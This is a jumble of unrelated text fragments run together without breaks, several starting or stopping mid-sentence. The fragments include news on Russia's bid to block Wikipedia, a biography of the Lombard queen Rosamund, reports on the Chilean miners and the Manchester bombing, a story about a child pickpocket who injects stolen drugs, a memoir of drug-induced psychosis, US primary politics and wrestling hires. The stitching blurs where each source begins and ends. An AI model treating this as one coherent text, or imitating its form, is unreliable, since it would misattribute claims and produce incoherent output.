'It is a start that you are experiencing some remorse although it is now too late in the day. Only a lengthy custodial sentence is appropriate.'Specifically, the agency is up in arms over "charas" -- a handmade form of hash from India that even I had never heard of -- as the Wiki page reportedly constitutes "instructions" on how to make the stuff. And since Wikipedia, like Reddit, employs HTTPS, there's no way for the Russian government to censor that single page. As such, it's requested ISPs take the entire Wikipedia site completely offline for all of Russia until the Roscomnadzor gets its way. Wikipedia.ru has vowed to appeal the decision, according to Sputnik News. At present, Wikipedia still appears to be online in the country, so it's unclear if ISPs have yet to action the request.
Update: An earlier version of this story indicated that Wikipedia was already offline, we have updated it to reflect the latest known situation.
Update 2 8/25: Wikipedia's in the clear -- the supposedly offending article no longer violates Russian law.
[Image credit: The Washington Post/Getty Images]Rosamund ( fl. 572) was a Lombard queen. She was the daughter of Cunimund, king of the Gepids, and wife of Alboin, king of the Lombards.
Life [ edit ]
Rosamund was born into a kingdom in crisis, as the Gepid people had been fighting a losing battle against the Lombards since 546, firstly within the context of a Lombardic-East Roman alliance, and later against the Lombards and the Avar nomads. These wars had taken the lives of not only her grandfather king Thurisind, but also her uncle, Thurismund, both of which served to establish a long-standing hatred of the Lombards in her father, Cunimund, which he passed down to her.
This hatred was what spawned the final war of the Gepids, as Cunimund attempted to win back lost lands against the Lombards. The war, however, quickly turned, and in 567, the Gepid Kingdom would be completely subdued by a mixture of Lombard and Avar forces, her father was decapitated and she, along with many other Gepids, was taken as a prisoner of the Lombards (see Lombard–Gepid War (567)). However, in an attempt to secure a male heir and following the death of his first wife Clotsuinda of Frankia, Alboin took her as his wife. Alboin was noted for his cruelty towards her; his most famous act of cruelty was reported by Paulus Diaconus, who states that at a royal banquet in Verona, Alboin forced her to drink from the skull of her dead father (which he carried around his belt), inviting her "to drink merrily with her father".[1]
Rosamund forced to drink from the skull of her father by by Pietro della Vecchia
After this, she began plotting to have her husband assassinated. Thus, Rosamund met with the king's arms bearer and her lover, Helmichis, who suggested using Peredeo, "a very strong man",[1] to accomplish the assassination. Peredeo refused to help, and that night mistakenly had intercourse with Rosamund, who was disguised as a servant. After learning that he had committed adultery with his king's wife, Peredeo agreed to take part in an assassination attempt in fear of the king's retribution. After the great feast, Alboin went to bed inebriated, at which point Rosamund ordered the king's sword bound to his bedpost, so that should he wake in the middle of the assassination attempt, he would be defenseless. Alboin did wake, only to find himself unarmed. He fended off his attackers temporarily with a footstool, but was killed. Due in part to the work of Paulus Diaconus, there seems to be some confusion about who actually killed Alboin, with both Helmichis and Peredeo assigned as sole murderer.[2]
Immediately afterwards, Helmichis planned to marry Rosamund and usurp the throne by claiming kingship. However, this plan gained little support from the various duchies of the Lombard kingdom, so Rosamund, Helmichis, and Albsuinda, Alboin's daughter by his first wife, fled together to the East Roman stronghold of Ravenna with a large proportion of Alboin's private treasures. Rosamund and Helmichis married in Ravenna, but were soon divided when Rosamund, in an attempt to curry favour, took as a lover Longinus, the exarch, who had helped them plan the murder of Alboin.[3] At the urging of Longinus, who promised to marry her, she attempted to murder her former lover Helmichis by poisoning, handing him the drink after he had washed; however, she was instead murdered |
to risking his own skin, he plays it safe. He is not a superhero, he is a costumed non-adventurer.
Whether this combination of libertarian flair and basic conservatism, in a personal sense, is his salvation (exactly the kind of mold-breaker the GOP needs!) or his downfall (not a real Republican, or real anything) remains to be seen. I suspect that, eventually, he will have to lean to one side or another. At that point, he will cease to be a unicorn and become just another dark horse.Media playback is unsupported on your device Media caption "They had two teaspoons of tuna fish, a sip of milk and half a biscuit each every 48 hours"
Thirty-three miners who have been trapped underground in a Chilean mine for the past 17 days are all alive, President Sebastian Pinera has said.
Rescuers heard hammering noises when they sent a new probe into the mine.
When the probe came back it had a note tied to it saying: "All 33 of us are fine in the shelter."
The men were working at a depth of around 700m (2,300ft) at the San Jose mine, near the city of Copiapo, when the rock above them collapsed.
Until Sunday, there had been no word from the miners and hopes for their survival had all but faded.
But it could take several months to drill a rescue shaft large enough to rescue the men.
'Flat-sized refuge'
Mr Pinera was at the mine on Sunday when he announced the breakthrough. Brandishing the miners' note for TV cameras he hailed the news saying:
"It will take months to get them out. It will take time, but it doesn't matter how long it takes, to have a happy ending."
President Pinera said he had seen footage of the men waving at a camera inserted into their shelter through a small tube.
"They got close to the camera and we could see their eyes, their joy," he said.
The miners are reported to be 4.5 miles (7km) inside the gold and copper mine and about 700m vertically underground.
They have been trapped since 5 August when the main access tunnel collapsed.
According to Reuters news agency, the authorities said the men are in a mine shaft shelter about the size of a small flat and have limited amounts of food.
Rescuers plan to send narrow plastic tubes down the borehole with food, hydration gels and communications equipment, including cameras and microphones.
Jubilation
However, the chief engineer in charge of the rescue operation, Andres Sougarret, has warned that it will take at least four months and more powerful digging equipment to reach the men.
Image caption An emotional President Pinera displayed the miners' note to reporters who had gathered at the mine
"A shaft 66 cm (26 inches) in diameter will take at least 120 days," he said.
On Saturday relatives of the trapped men had accused the authorities of not doing enough to reach the men.
One of their complaints was that officials had so far insisted on using probes to locate the miners, rather than digging tunnels through which they could be rescued.
Many of the trapped men's relatives have been camped outside the mine since the tunnel collapse occurred.
There were jubilant scenes as the news that contact had been made broke.
"We never, never lost faith. We knew they were there, and that they would be rescued," one relative, Eduardo Hurtado, said.
"For the first time, I'll be able to sleep peacefully," said the daughter of Mario Gomez, one of the trapped miners.In a few simple words during a visit to the Royal Manchester Children’s Hospital to meet the young victims of the terrorist bombing, the Queen encapsulated the horror of an attack that has left the nation reeling.
“It’s dreadful, very wicked, to target that sort of thing,” the Queen said to 14-year-old schoolgirl Evie Mills, who she met lying on her hospital bed with a teddy by her side, and a blanket shrouding her injured chest and legs.
The Queen later added as she toured the children's ward viewing at first hand the carnage of Monday night's attack: “the awful thing was that everyone was so young.”
During her 65 years of reign, the Queen has occasionally made visits to hospital to help lead the nation in moments of national grieving.
She did so after the 7/7 terror attacks in London and also to meet servicemen and women injured fighting for their country.
But never have so many children been among the victims. There are 14 inpatients remaining at the Royal Manchester Children’s Hospital following the attack, including five in critical care.
Among those continuing to recover from their injuries in the hospital was Millie Robson, 15, from Co Durham, who was still wearing her Ariana Grande concert t-shirt that she had specially chosen for the concert at the Manchester Arena.Nicky Nicked Needles and Nickels
13yo Nicolett is a kind, careful, peculiar pickpocket, and a dabbler in the illegal substance market. She decides to end her thieving days, only after digging in the pocket of the wrong person. Who is chasing her, and what did she really steal?
The morning of my thirteenth birthday was a cold, boring, quiet day. Or at least, it was until I answered a call from a cellphone that was not exactly mine, telling me I was going to die—me, not the previous phone owner.
Wait, do you know my name? I am Nicolett Dove, though everyone calls me Nicky, or my business partners call me Nicotine. Sorry, I keep forgetting my manners. Anyway, I started the day out as usual, waking up to the cold Germany air leaking through my rickety window frame, promptly rolling over and dozing off for a few minutes longer. I peeked out of my covers, risking a kiss from the chill air, to gaze at my wall of trophies; all the blues and silvers and pearly whites of my treasures covered the far wall in my small room. I have a love for deeply colored things or silvery items; there is a beautiful nickel tower in the corner of my room, hundreds of nickels all stacked up to form little silvery bricks. To name a few of the items on my wall, I had a neat navy-blue cap, at least twenty plastic bracelets, a few tiny diamond rings and numerous mismatched earrings strung together like a Christmas decoration, and a shiny bunch of bottle caps glued to a painting on the wall. Junk? It is not! Oh, the things you find in peoples' pockets these days. I have also collected a tangle of electric cords, hair berets, scrunchies, and credit cards, hidden away in places beneath the floorboards. Sometimes I sell the stuff I cannot put on my wall; like the needles. Syringes, canisters, baggies, and dollars go to those people who call me Nicotine. In some pockets and purses I find used needles or sealed ones, little plastic bags of powder, and other things, then I take those finds back to my friends on Mole Street to exchange. If I bring five or six needles or two little baggies, I can get something new for my collection, or I can get some food, if I am too hungry to notice the bad taste.
Or sometimes, I use the needles, too. I mean, taking spare stuff from people is fine—look at them, they have enough. Maybe if they really need their nickels and needles, they can steal from me or my friends on Mole Street, too, and the cycle will go on forever, and we will all be happy. But, using needles can be tricky sometimes. It is not so bad to find a vein in my ankle and all, so my parents can't see, but usually I cannot really tell what is in those needles. One time, I took a shot of something so strong, I think I had a seizure. I had a really good nap afterward, but it shook me up a bit. I have to be careful when I take that stuff, so no one will find me passed out or seizing up. Maybe I should stop using needles altogether. Maybe, I guess.
I woke up a third time freezing, ravenous, and having to go to the bathroom real bad. So I dragged myself out of bed at last, wearing my day clothes as I always do to help keep warm and be ready to leave out the window, if I heard my dad shouting at mom downstairs. I could not imagine anything worse than hearing my dad's big feet pounding up the stairs, heading for my room, to come and shout at me or tell me, again, that he was going to take me from mom, all the while wearing just my shirt and underwear. He usually pushed, dragged, and persuaded me toward the door until he gave up, cried, and told us how sorry he was. I think it's because he drinks too much. How glad I am that I do not drink, I just take a few doses now and then.
So I made it to my bathroom with icy toes, and proceeded with my morning routine; toilet, sink, then brush my crazy black shoulder-length hair. After finishing that, I went back to my room to look at my stash; no needles or valuable things. It was Saturday, and only Billy would be out to exchange things with me for food. Sometimes Pooch was out in the morning, she is a nice lady with glamorous clothes, though I call her Pooch because I can't say the other word they call her. She might share food with me, if she had earned enough money last night to buy some this morning. That was such a small chance, though, and I was starving… I moved back a broken floorboard near my narrow bed, and grabbed some shoes. They were worn and quiet tennis shoes, a little big for me, but they were the best I had ever borrowed. I slipped them on over my cotton socks and dug out a sweater to pull on over my long sleeved shirt. Now equipped in thick sweatpants, a sweater, and shoes, I snatched up my satchel and left through the front door of my modest home. It wasn't a bad place; the house was in decent condition and had only a few rats, but my parents were struggling to keep it. Ignoring this, I skipped out to the cobblestone street. The cloudy sky made the world look steel-gray everywhere. Sun rarely shone in this part of town anyway, and I could not remember having been outside the gloomy town. I loped into an alleyway and kept prancing along.
"Nicotine, dear?"
I stopped and looked over my shoulder. An old, gritty man dressed in a huge coat waved at me. He wore a stained green cap and a dirty pair of glasses. Beneath a scruffy beard he wore a benign expression on his crumbly face. I waved back. "Hi, Billy!"
"Just the girl I was looking for! Heading out so early?"
"Yeah," I shrugged. "Off to find some stuff to trade you for breakfast."
Billy grinned. "That's what I like to hear. Alright, lass—come back before I leave for the Humphrey Avenue, will you?"
Nodding, I agreed and scampered off. I arrived at the other end of the alley, facing north. In front of me was a fairly quiet street, with so many people already off to the forestry or other places of work. I crept along softly, casually, looking around for opportunities. The squat buildings crouched only one or two stories tall, I liked to pretend they were carnivorous plants made out of old wood and brick. They were withering plants, infested with the insects of society; crippled folk, drunk folk, all the others who the modern-day bourgeoisie stepped on and sought to exterminate. I imagined I was a little panther, gliding along in the shadows. I unhappily surveyed my surroundings once more after traveling all the way up to a rusty stop sign—more than ten yards from the alley. I was beginning to trek out of my home zone, into the area of workhouses and shifty businesses. A scavenger similar to myself slunk along the opposite side of the street, a man and his burly dog walked carelessly ahead of me. Why wasn't anyone else out today? I know pickings are slim, but…
I heard a low rumble from the sky, and realized even fewer people were out today due to a coming storm. The sky was always sad around here, I could never tell if it would rain or not. I looked from the clouds to the path ahead again. I jumped, just a tiny bit, as I saw the pair ahead of me, the man and his dog, had stopped and were looking right at me. Well, the dog was, maybe the owner was only stopped when the big pale mastiff decided to stand still and was simply looking at what might have caught the dog's attention. Whatever the reason why, they did not stop for long; the man tugged on the dog's thick leash and managed to get the beast lumbering onward again.
Almost as loud as the thunder, my stomach growled. I sighed and trudged off in the opposite direction. My legs went at a brisk pace to ignore the aching in my empty belly. I was wary about trying to swipe something in the street I was approaching; this one was where the paper-boys went, the bank was nearby, the grocery market was, and overall a whole lot of hustle and bustle. Policemen patrolled the fruit stands and kept an eye out for sticky-fingered kids like me. I would hate to be caught… especially since both my parents knew these patrolmen. My father worked as a policeman farther off, some place even darker and apparently dangerous, while my mother worked in the military—I never bothered to ask more of their occupations. They didn't want to talk about it. I knew I could not take the risk of stealing from a market stand, but I could sweet-talk a person after bumping into them, and then… Yes, I could do this, I just had to get a good prize in one sweep, a second attempt would be tricky if the first failed.
I walked along as if I belong there. I had become quite good at that image. A puppy store was cleaning out their kennels, creating a big diversion if I wanted to grab something and duck by this place. The employees were banging out the metal crates and bowls, struggling to keep dogs on leashes as they cycled dogs out while their cages were cleaned. A fluffy thing with blue eyes barked at the end of its chain, looking pitiful to me. I sidled up to the storefront and looked around for my target. Someone who looked like they could have something valuable, or maybe some needles and baggies of strange powder—Aha! I spied a couple walking on the opposite side of the road, each wore a thick watch. The watch looked like one of the models that could come off pretty easy if I just accidentally bumped into them like so and slipped the big clasp undone.
Shuffling along, I tried to get a better look at them to decide my approach precisely. At my new angle, I could see the man's face clearly; his features were fairly sharp and angular, he looked pretty darn handsome from the side but as I stood a ways in front of him, I saw that he had a low brow and small, green eyes with a permanent frown on his thin lips, he looked as if he were thinking about how bad his day had been so far—and it made him look real scary, paired with his short brown beard, and sturdy build. He had a black bandana around his neck, which I thought was funny, as I imagined him as a cowboy. His girlfriend or wife at his side held his hand and looked up at him with a smirk, though she was not much shorter than him, being a tall woman. She had bright blue eyes, full lips, and a slightly chubby body, but I guess it matched her prominent chin. The man wore an overcoat with large, deep pockets; normal sized for him, an irresistible abyss for me. I really, really wanted to get my hands in there and see what I might take. The heck with the watches—let me at that coat!
I had paused too long. The pair arrived at their destination, a coffee shop, and the man reached for the door. His lady stepped inside cheerfully, and the man entered last, not without glancing over his shoulder at the street. It was a smooth, surveying sweep that captured everything, and I knew he had seen me, though I was not standing out. I pouted in dismay as he turned around to follow the woman. A spark of hope lit inside me when I saw him take off his big coat and hang it by the slowly closing door. He stepped inside and disappeared. I would not miss this! I skipped up to the coffee shop a bit quicker than I should have, and laid my hand on the door. I could barely contain myself. I eagerly opened the door and poked my head in. The room was lit, stinging my eyes a bit, but sure enough there hung the coat only a few feet from my grasp. I looked around for the man curiously. The coat hung on the wall to my left, and covered tables lay beyond. The woman had already sat down at a round table in the middle of the room, crossing her legs adamantly as she said, "Well, bring it over here, John, I'm not sitting so close to the door."
Containing a sigh, John began to turn toward me and his coat. I stifled a yelp and ducked under the nearest table, praying no one had seen me. Large boots stepped past me; John had a measured gait, with restrained irritation in each step. He was what I thought an elephant husband would be like, or maybe a rhinoceros; big and powerful, but somehow keeping himself from raging when his loved one disagreed. I should give him some respect, that woman does have an annoying haughtiness in her voice. She wears the pants in this relationship, he wears the coat. I listened as he took said precious coat and strode back to his woman. "I'll… go to the bathroom," he said in the low, slow voice of someone who had already thought out an entire argument in his head. Evidently he concluded the effort was futile.
John left to the back of the store, and I was stuck under a musty table smelling of old, old coffee beans and feet. I ignored the woman ordering her drink and snack, clutching my stomach as it threatened to growl again. Placing my face to the dirty floor, I peeked under the table cloth. John had just returned, and was taking his time approaching the table. I couldn't help it; my stomach let out a monstrous growl. Shuddering, I heard the woman ask, "Was that your stomach?"
"No," answered John.
"Eat some bread anyway."
"I'm alright, Jane."
I sighed into my hand in relief, and promptly began looking for an escape. The next table was not too far… if John and Jane kept talking, maybe I could scurry over to the next table, and get to the back of the store and get out through a window or door. Wait, John and Jane? Ha, I wonder if their last names are Doe. How strange. I shrugged and crawled to the edge of the tablecloth. Before I could dash to the next table, I heard barking and shouting from the street. One lady shrieked. John stopped talking and muttered, "What is going on out there?"
What is going on out there? I was curious, but not stupid; I took my chance and went for the next table. I made it in time to hear John stomp across the room to the door. He opened it and sounded as if to leave. Jane pushed out her chair and rushed to the door. I lifted the tablecloth up, preparing to bolt now that both of them were looking away. I made a run for it, straight for the back of the store. I didn't stop to look if Jane and John could see me, but I did stop when something else caught my eye: the coat. There it sat on the back of a chair, near Jane's cup of still-steaming cup of coffee. I darted over and shoved my hand in a pocket. Dimes, nickels, a cellphone; nothing was safe from my probing fingers. I scooped handfuls from each pocket into my satchel, casting a furtive glance at the front door. John was walking across the street, Jane waited by the door with her back to me. I turned to follow my original plan, to leave out of a possible window or door away from Jane and John. Before I could, I met the gaze of a server behind the counter; he was far away, but nonetheless, he saw the tense look on my face, and perhaps that I had stolen from John. I was starting to panic. I spun around, bumping the table, and looked back to Jane. She hadn't seen, she would not suspect me…
So I boldly, politely, pushed past Jane with a brief, "Excuse me," and, giddy with victory, retreated. I did it! This had to be one of my best works yet. I turned from the coffee shop and looked at the scene unfolding on the street: a huge pale dog was being held by the scruff by the same man I had seen earlier on the other end of the road. Uniformed employees of the puppy store held a squealing blue-eyed dog. Some marks of red stained the light colored fur of the pet shop dog, its tail was tucked so far, it curled around its leg. I pitied the fluffy dog, thinking it had gotten into a dog fight with the mastiff. The mastiff leaned against its own collar, barking at the smaller dog as if it were a rat. In comparison to the mastiff's size, it might as well be.
Once I was back in the alley, I happily opened my satchel and assessed my trove. The best item I had gotten, besides the cellphone, was a plastic case. I opened it, smiling, to find an array of little needles and syringes wrapped cleanly in plastic, and secured in the opposite side of the case were vials of a gold liquid. Ooh, gold… that is a mesmerizing golden color. I would definitely get a meal out of this—but I would keep one of those auburn vials for myself. Shutting the case, and stashing a vial in my bra, I went looking for Billy. Thunder rumbled again in the distance. Wind had begun to blow strongly; I had to tuck my hair behind my ears tightly to keep it out of my face. I began to worry I wouldn't find Billy, until I found him holed up under a fire escape. He was dozing off, drooling into his moldy beard. I laughed a bit, and knelt, patting his leg excitedly.
"Hermph-huh-what!" Billy jolted awake groggily. "Aw, girl, what'd you bring ol' Billy?"
Out of the satchel I brought the plastic case and opened it.
Billy sucked on his few teeth and counted the syringes. "Three needles and some funny yellow colored stuff? Well… Well," Billy scratched at the fleas in his beard. "Alright, Nicotine my dear, fair trade."
I exchanged the case and its contents, minus one vial I had stored, for a stale loaf of bread. I did not mind stale food, though, so I gleefully fled to my bedroom to eat my earned meal. Once in my room, out of a suspicious feeling, I went to my window and scanned the street. Billy was packing up now, as the thunder boomed louder. I rolled my eyes and sat down with my bread and satchel. I tore at the loaf with gusto, chewing and swallowing pieces whole. Within minutes I had managed to stuff the lot of it down my throat, and felt very thirsty. I could drink from the sink, I suppose, if I could get past the raw sewage smell and brackish taste. My breath crystallized in the cold air before me as I sighed. Taking another breath, I smelled something sweet. What was that? It was coming from the vial; I took it out of my shirt and sniffed it. Yes, it smelled… sort of like pollen. Being the inquisitive thing I am, I uncapped it and sniffed it directly. The scent was like honey. Maybe it was a thin kind of honey, but who would have vials of honey in a case with needles and syringes? Huh, it could be stored in there for convenience. Or perhaps injecting honey was a new thing. Anyway, it smelled delicious. Weird, but inviting; I had to just try one drop. One lick, or sip. I found myself downing the whole vial. The substance had not disappointed; it tasted as good as it smelled, albeit with some burning kind of feel to it. I had tasted liquor once, it was similar to that. Ugh, I had probably taken some sort of alcoholic treat. Slowly, the burning worsened, and I really could not get the fuzzy feeling off my tongue, no matter how many times I scraped it against my teeth.
Suddenly, a loud buzz startled me. Locating the strange sound, I reached into my satchel and pulled out the vibrating cellphone. The caller ID did not show at all, the screen appearing blank under the words "Call from…"
I thought about it. Maybe I should answer it, and leave the guy's phone somewhere for him? I usually do not take phones, but, in the heat of the moment…
"Hello?" I answered.
"Hi, this is the Red Cross poison control team, have you seen any honey-type substances being sold or handed out suspiciously?" said a friendly male voice.
"Oh, I, er, found this cellphone, I'm sorry… My name is Nicky," I mumbled.
Mild surprise shone in the speaker's voice. "That's alright, Nicky, we're only concerned with the illegal substance making its way into the common public. So, Nicky, you have not seen or heard anything about it?"
"Um…" the empty vial still rested in my hand. "No."
"Okay," the speaker paused for a breath, continuing with seriousness, "Anyone who uses that substance will die within hours of taking it, are you sure you haven't handled anything like it?"
Holy crap! "Well, I-I kind of, I mean—I think I ate some honey today, yes, and, yes, it was from someone I didn't know. My throat is really starting to hurt."
"Mmhmm," the voice hummed solemnly, as if he knew everything I had done. "You sound a little raspy, Nicky, calm down… careful not to circulate the poison. Please tell me your location, I can send someone over to check on you in case you have come in contact with the toxin."
I rattled off my address, anxiety steadily rising. What have I done, what have I done… Oh, I am never, never stealing anything ever again or drinking weird stuff in my entire life! I swear on what remains of my life right here and now!
"Thank you, how about you stay on the phone with me while we come find you?"
"Oh, um, thank you too…" I trembled and sweated, from the poison or the stress of the situation, I did not know. "Do you…" swallowing, I tried again, "Do you have to tell my parents?"
"… No, Nicky. Say, do you have a dog, or is your family home?"
Even though he could not see, I shook my head. "I don't have any dogs, and my parents won't be back until tonight at least… maybe later."
"I see. Everything will be fine, Nicky. No one has to know about this."
"Great," I said weakly, silently berating myself.
Seconds ticked by like minutes. I felt numb in my hands and feet. A flash of lightning lit up my room, showing my wall decorations in sharp contrast. My parents had not seen my collection. No one must know, all I want is to put this behind me now. I would even go to school and deal with the cruel teachers and angry kids instead of steal now, I swear. Slowly, the adrenalin was ebbing from my body, letting my blood pressure deflate. I decided to breathe fresh, gelid air from my window; I stood up and opened the frail frame again. Billy was still in the alley. Why? Is he so old he packs so slow now? I snorted. Suddenly, I saw into the dark alley clearer; Billy was gesturing frantically. Another figure in the alley was holding something out to him. I realized a second later, the other figure was not offering something, but pointing a knife. The weapon glinted in the light as the figure stepped forward and stabbed into Billy's neck. I covered my mouth with a free hand and choked a half-hearted scream.
"What's wrong?"
I gripped the windowsill as I watched Billy topple over, clawing at his throat. Whether it was the shock or the drug or the panic—I had become a bit less trusting of that smooth voice. "You aren't the Red Cross," I said miserably.
Silence.
The figure walked out of the alley. It was Jane, her blue eyes practically glowing along with the blood on her knife. Following her came John. He held a hand to his ear, a cellphone in the hand. Looking up to my window, he spoke through the phone, "Stealing is a bad thing."
"You can have your stuff back but I won't let either of you—" I began fiercely.
His voice glided over mine. "Be quiet, sit back… We're coming for you, Nicky."I like being alive. You ever been asked that question, “Would you die to save 10 strangers?” and you say no, so they keep bumping the number up until you have to pause and think, “Wow, 10 million people is like a small country,” and you have to think about it? My unhesitating answer is always “Not a chance.” I might die to save my brother, but that’s about it. I am the opposite of heroic. Maybe I’d show some bravery in the face of uncertain death, but show me certain death, and I will gun down the strangers myself to avoid it without a second thought. The fact is this never comes up; immediate death is rarely certain and almost nobody gets choices like these. This unflattering aspect of my personality is a cocktail of ego-preservation, staggering lack of enlightenment, nihilism, amorality, and fear of death. It’s also because I love life, I find everything interesting, and I almost never get bored.
That said, this life sucks. You work through most of it, watch your body and relationships fall apart, your reward for all your patience is slowly losing everything you love, possibly including your mind. In the end, if you’re lucky, you have a few friends or relatives around and the possibility of a quick, painless death. God bless you if you have a god; I don’t, and see no reason or evidence for one, aside from the social phenomenon hamstringing medical research and care for the poor. The universe is cold and empty, lightly sprinkled with friends, booze, and sex.
Whatever. People make do. I’ve had a better run than most, and I have fun. But going from the most important person in the all the infinite universes back to a shy 20-year-old fuck up isn’t easy. Post-psychotic depression is common for just this reason, and I was no exception.
The next few months of my life consisted entirely of this routine: Wake up at seven to drive my brother to school. Drop him off, chain smoke on the way home. Go back to bed. Wake up at noon. Make coffee. Sit on the couch and watch a movie until I fell asleep. Drive back out around three to pick my brother and bring him home. Go back to the couch. Wake up at seven to watch Seinfeld and Frasier, the highlight of my day. Fall asleep. Wake up at midnight to get a snack after everyone was asleep. Drag myself to bed. Some times jerk off half-heartedly, fall asleep in the middle as often as not. Other times, stare at the wall until two in the morning, trying not to think too hard.
My parents treated me with a light touch for a while. They clearly thought I was pathetic, but then, I was. At least I wasn’t crazy, though it was a while before they realized that. Hell, it was a while before I was confident it wasn’t a brief moment of clarity.
I did nothing. I didn’t even read. I drank alone at night to get my brain to shut up as much as possible. Fortunately, I didn’t go to jail. Here’s my dad:
After you managed to steal the car and get caught, there was obviously the issue of “how to avoid having a crazy person’s mistake give them a felony record.” For reasons related entirely to my generally excellent karma, it turns out that the county DA where you stole the car played left field to my center field on my high school baseball team in Philadelphia, so I called him up with one of those “how have you been and let’s make a deal” opening lines. We agreed that it would be good not to have a felony on your record, but also that you should be punished enough so you wouldn’t forget this little episode. He suggested a year’s probation and a fine (essentially the deal another first time offender would get, but with perhaps less negotiating time). When this was presented to the judge, with the assistant DA recommending the plea deal and you with no lawyer, the judge was a bit puzzled (he couldn’t figure out this had all come out so “neatly”), but decided to trust the people involved and blessed it. Another little sideshow was the bill from Acadia: the insurance company hadn’t been notified “in time” (for the simple reason that you didn’t know who you were), and the hospital wanted to stick Barb and me with the bill. We pointed out that since they let you in, and denied your parents access, it was their problem. I think eventually they worked it out with the insurance company after everyone decided to wake up and return to planet earth.
I mentioned before that if I’d been in Brooklyn during this episode, I would have been dead within a week. One of my coworkers on my software development team is black, and he mentioned that I wouldn’t have survived had I been black, either. There’s more luck than location and skin color involved: I got the best available medical care through my mom’s connections, and a quick deal from the DA through of my father’s. Make no mistake, I returned to sanity as a lucky outlier, whether or not I had anything to do with it, and I survived because I was a white, connected, upper middle-class kid in a small town. I certainly didn’t do anything to deserve coming out of this relatively unscathed.
I haven’t done drugs in eight years. If you do the math, you’ll note I did dabble around after all this. I definitely never did a hallucinogen again, and I’m embarrassingly paranoid about leaving my drink unattended. I’ve gotten better, but if I’m not sure I or someone I trust has had an eye on my drink, I’ll dump it and get another one. I’m not worried about being roofied, and I’m not to worried that someone’s going to revenge dose me, but I am worried some idiot druggie will try to give a friend a “present” and get the wrong drink. The odds of this are probably worse than winning the lottery, but the consequences are I have a 50/50 shot at losing my mind permanently, so I’m not without cause in my wariness. I won’t even go into a house or apartment with LSD on the premises.
I quit kiddy crack and all other speed for unrelated reasons. I smoked some weed after my probation was up, until one night two years later. I got high, watched some TV, and went to bed. And I couldn’t sleep. No matter what I tried. Then sentences stopped forming properly in my head. Then the paranoia kicked in. I lived near Amy at the time, so I called her and she rushed over and took me back to her place, where I lay on her couch, moaning and scratching at myself, unable to think straight for three hours, until I slept. That was the last time I ingested a psychoactive drug, or any illegal drug. My drug use for the last eight years has been an annual dose of ibuprofen. Oh, and I self-medicate with alcohol to stop myself from thinking, and smoke because I’m addicted to nicotine. Slightly drunk is as altered as I get, aside from the occasional flashback, which so far has just led right back to slightly drunk.
My brain did a couple of weird things during my depression months. Once, I woke up in the middle of the night, and instantly starting falling back asleep like I was going off a cliff. It was like blacking out, but faster, and terrifying, feeling my mind lose consciousness in a second, and I resisted, and snapped awake, but just started falling again. This happened seven or eight times, and eventually I lost, and woke up in the morning, sweating. Less disturbingly, I was semi-sleeping during one of my longer nights, and I felt my awareness collapse into a point in the back of my head. I was aware of my body, but felt like it was a distant surface. I could move this little point around in my body and see how it felt to be various distances from other parts of my body. Neither of these were dreams, and neither of them ever happened again.
The previous year, I’d been deep in some extremely strange but academically viable philosophy research, combining all my -ology classes. The roots of whatever I was working on definitely had something to do with the more positive acid trips I’d had, but there was a small mountain of dogeared books next to my desk for most of the semester. I smoothed out all the folded corners and put them in my parents’ attic. I didn’t read a philosophy book for six years. I didn’t read psychology, or expose myself to anything that remotely questioned reality. Every TV show that runs long enough has that one episode where the main character isn’t sure what’s real, and it’s filmed in such a way to make you doubt right along with them. I couldn’t watch these. I carefully protected my mind from all the patterns of thought related to creative interpretations of existence, any research about how the brain works, and anything else that could awaken the party waiting to start back up in the back of my head. I |
Clyburn remained officially neutral, he adopted the role of unofficial arbiter of how the campaigns behaved. It led to frequent criticisms of Clinton, and particularly Bill Clinton, over allegedly racially tinged comments from the former president about the viability of President Obama’s 2008 campaign.
It led to a 2 a.m. phone call from the former president screaming at Clyburn, according to the congressman’s 2014 political memoir. “If you bastards want a fight, you damn well will get one,” Bill Clinton shouted into the phone.
In the ensuing years they have tried to put that past behind them, and last year Hillary Clinton’s campaign hired a longtime Clyburn aide to run its operation in the Palmetto State. However, a month ago, as Sanders appeared to be surging, Clyburn seemed to reprise his 2008 role again when he told The Washington Post that she should not take for granted the state’s black voter support. If Sanders won big in Iowa and New Hampshire, it “could well be a new day” in South Carolina, he said.
[“Anxious Democrats see 2008 all over again"]
Instead, Clyburn said Tuesday, Clinton’s victory in Iowa, however narrow, held support for the former first lady, particularly among his state’s African-American voters. Even a big Sanders win in New Hampshire would not shift the dynamic in South Carolina, he argued.
“Whatever happens in New Hampshire,” Clyburn said in an interview Thursday, Clinton “got inoculated a bit. It won’t matter a whole lot.”
Clyburn said that he has spoken with his grandson, a college student, about who young voters and students supported. “We’re for Bernie. It’s just generational,” his grandson explained.
Despite the youth vote, Clyburn said Clinton remains steady in South Carolina among voters most likely to show up for the primary. “There’s not been a big surge,” he said of the Vermont senator’s support. “The reliable primary voters that I know don’t seem to have shifted at all.”
In Nevada, while most of Reid’s supporters support Clinton, the Democratic leader said Tuesday he is hoping to get a replay of what happened in 2008 — a fiercely contested primary battle that brought out new voters and in the next few elections boosted Democrats across the state, including his own 2010 re-election effort.
“I didn’t make one eight years ago. I won’t make one now,” Reid told reporters of a presidential primary endorsement.
He then explained what his goals are: “One is to make sure the process is as fair as possible. And number two, register as many Democrats as possible. We registered eight years ago tens of thousands of Democrats, new Democrats. And from my getting involved at this stage, it would cut down the number people who would register.”Thank you Virginia Tech Athletics for the opportunity you gave me these last two years! I really appreciate it! All the best to #hokienation — Mike Zadick (@mikezadick) April 3, 2017
Multiple sources have confirmed that former Iowa wrestlers Brent Metcalf, a two-time NCAA champion, and Mike Zadick, a three-time All-American, will be joining Kevin Dresser's Iowa State wrestling staff.According to sources, both Metcalf and Zadick have agreed in principle to terms.Metcalf, a multiple-time world team member, will be joining the Cyclones as a volunteer assistant coach, while Zadick, a world silver medalist in 2006, will take a position as the associate head coach. Zadick served as Dresser's assistant coach while at Virginia Tech the past two seasons, and Metcalf has been the USAW freestyle developmental coach since accepting the position in November. But now both former Hawkeyes will now be making their way over to Cyclones country.Just a week ago it was announced that fellow former Iowa national champion Derek St. John, who was on the Virginia Tech staff as volunteer assistant for the past two seasons, would be joining Dresser's new squad as well. This gives Iowa State a coaching staff fully comprised of former Hawkeyes.Iowa State released an official statement on its new coaching additions.-- Iowa State head wrestling coach Kevin Dresser solidified his coaching staff with the announcement today that Mike Zadick, Derek St. John, and Brent Metcalf will join the ISU wrestling program.Hires are pending administrative approval.Zadick and St. John were both on Dresser's staff at Virginia Tech and Metcalf was most recently the National Freestyle Developmental Coach for USA Wrestling.Dresser, Zadick and St. John helped the Hokies record a 34-3 dual mark over the past two 